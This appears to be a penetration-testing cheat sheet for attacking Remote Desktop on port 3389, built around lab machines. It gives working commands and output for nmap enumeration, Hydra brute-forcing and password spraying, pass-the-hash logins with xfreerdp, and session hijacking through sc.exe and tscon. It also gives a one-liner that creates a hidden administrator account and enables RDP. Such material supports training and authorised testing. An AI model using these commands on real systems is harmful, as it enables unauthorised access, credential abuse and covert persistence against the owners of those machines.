RDP (3389)

Nmap

nmap -sV -sC 10.129.201.248 -p3389 --script rdp*

[Apr 06, 2024 - 07:23:48 (EDT)] exegol-CPTS /workspace # locate -r nse$|grep rdp  
/usr/share/nmap/scripts/rdp-enum-encryption.nse
/usr/share/nmap/scripts/rdp-ntlm-info.nse
/usr/share/nmap/scripts/rdp-vuln-ms12-020.nse

RDP Security check

$ sudo cpan
$ git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check
$ ./rdp-sec-check.pl 10.129.201.248

Starting rdp-sec-check v0.9-beta ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) at Sun Nov  7 16:50:32 2021

[+] Scanning 1 hosts

Target:    10.129.201.248
IP:        10.129.201.248
Port:      3389

[+] Checking supported protocols

[-] Checking if RDP Security (PROTOCOL_RDP) is supported...Not supported - HYBRID_REQUIRED_BY_SERVER
[-] Checking if TLS Security (PROTOCOL_SSL) is supported...Not supported - HYBRID_REQUIRED_BY_SERVER
[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]...Supported

[+] Checking RDP Security Layer

[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_NONE...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_40BIT...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_128BIT...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_56BIT...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_FIPS...Not supported

[+] Summary of protocol support

[-] 10.129.201.248:3389 supports PROTOCOL_SSL   : FALSE
[-] 10.129.201.248:3389 supports PROTOCOL_HYBRID: TRUE
[-] 10.129.201.248:3389 supports PROTOCOL_RDP   : FALSE

[+] Summary of RDP encryption support

[-] 10.129.201.248:3389 supports ENCRYPTION_METHOD_NONE   : FALSE
[-] 10.129.201.248:3389 supports ENCRYPTION_METHOD_40BIT  : FALSE
[-] 10.129.201.248:3389 supports ENCRYPTION_METHOD_128BIT : FALSE
[-] 10.129.201.248:3389 supports ENCRYPTION_METHOD_56BIT  : FALSE
[-] 10.129.201.248:3389 supports ENCRYPTION_METHOD_FIPS   : FALSE

[+] Summary of security issues


rdp-sec-check v0.9-beta completed at Sun Nov  7 16:50:33 2021

RDP Session

xfreerdp /u:[username] /p:[password] /v:[IP]  /dynamic-resolution
xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:MACHINE_IP /u:Administrator /p:'TryH4ckM3!'

/dynamic-resolution : Auto resize the window

xfreerdp /u:cry0l1t3 /p:"P455w0rd!" /v:10.129.201.248

xfreerdp /v:[IP] /u:[USERNAME] /p:'[PASSWORD]' /dynamic-resolution /drive:linux,/tmp

rdesktop -u admin -p password123 192.168.2.143

Or Remmina

sudo apt-add-repository ppa:remmina-ppa-team/remmina-next
sudo apt update
sudo apt install remmina remmina-plugin-rdp remmina-plugin-secret

How to install RemminaRemmina

Old Server

Server 2008

[ERROR][com.freerdp.core] - transport_connect_tls:freerdp_set_last_error_ex ERRCONNECT_TLS_CONNECT_FAILED [0x00020008]

Try adding /tls-seclevel:0

Or Use rdesktop instead of xfreerdp or remmina

Server 2012 R2

Add /tls-seclevel:0

xfreerdp /v:172.16.1.X /u:xxxxadmin /pth:649f6xxxxxxxxxx61f9684a /tls-seclevel:0

Brute force

RDP Bruteforce

$ hydra -L user.list -P password.list rdp://10.129.42.197

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:05:40
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task
[DATA] attacking rdp://10.129.42.197:3389/
[3389][rdp] account on 10.129.42.197 might be valid but account not active for remote desktop: login: mrb3n password: rockstar, continuing attacking the account.
[3389][rdp] account on 10.129.42.197 might be valid but account not active for remote desktop: login: cry0l1t3 password: delta, continuing attacking the account.
[3389][rdp] host: 10.129.42.197   login: user   password: password
1 of 1 target successfully completed, 1 valid password found

Password spraying

hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

RDP Session Hijacking

This method no longer works on Server 2019

juurena (UserID = 2) Administrator privileges. Our goal is to hijack the user lewen (User ID = 4)

To successfully impersonate a user without their password, we need to have SYSTEM privileges and use the Microsoft binary that enables users to connect to another desktop session. It works by specifying which SESSION ID (4 for the lewen session in our example) we would like to connect to which session name (rdp-tcp#13, which is our current session)

C:\htb> tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}

C:\htb> query user

 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>juurena               rdp-tcp#13          1  Active          7  8/25/2021 1:23 AM
 lewen                 rdp-tcp#14          2  Active          *  8/25/2021 1:28 AM

C:\htb> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"

[SC] CreateService SUCCESS

C:\htb> net start sessionhijack

Once the service is started, a new terminal with the lewen user session will appear

SharpRDPHijack

GitHub - bohops/SharpRDPHijack: A POC Remote Desktop (RDP) session hijack utility for disconnected sessionsGitHub

Pass the Hash (PtH)

Enable RDP

With a local Admin account

cmd

net user /add (Username) (Password) && net localgroup administrators (Username) /add & net localgroup "Remote Desktop Users" (Username) /add & netsh advfirewall firewall set rule group="remote desktop" new enable=Yes & reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v (Username) /t REG_DWORD /d 0 & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v TSEnabled /t REG_DWORD /d 1 /f & sc config TermService start= auto

GitHub - crazywifi/Enable-RDP-One-Liner-CMD: post/windows/manage/enable_rdp Metaploit module in Command prompt moduleGitHub

powershell

PowerShell-Red-Team/Enable-RDP.ps1 at master · tobor88/PowerShell-Red-TeamGitHub

*Evil-WinRM* PS C:\Users\Administrator\Documents> Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\' -Name "fDenyTSConnections" -Value 0
*Evil-WinRM* PS C:\Users\Administrator\Documents> Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-Service -Name TermService

Status   Name               DisplayName
------   ----               -----------
Running  TermService        Remote Desktop Services


*Evil-WinRM* PS C:\Users\Administrator\Documents> Add-LocalGroupMember -Group "Remote Desktop Users" -Member "domain.local\username"
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Resources

3389 - Pentesting RDPHackTricks

Offensive Security Cheatsheet

Remote Desktop Penetration Testing (Port 3389) - Hacking ArticlesHacking Articles

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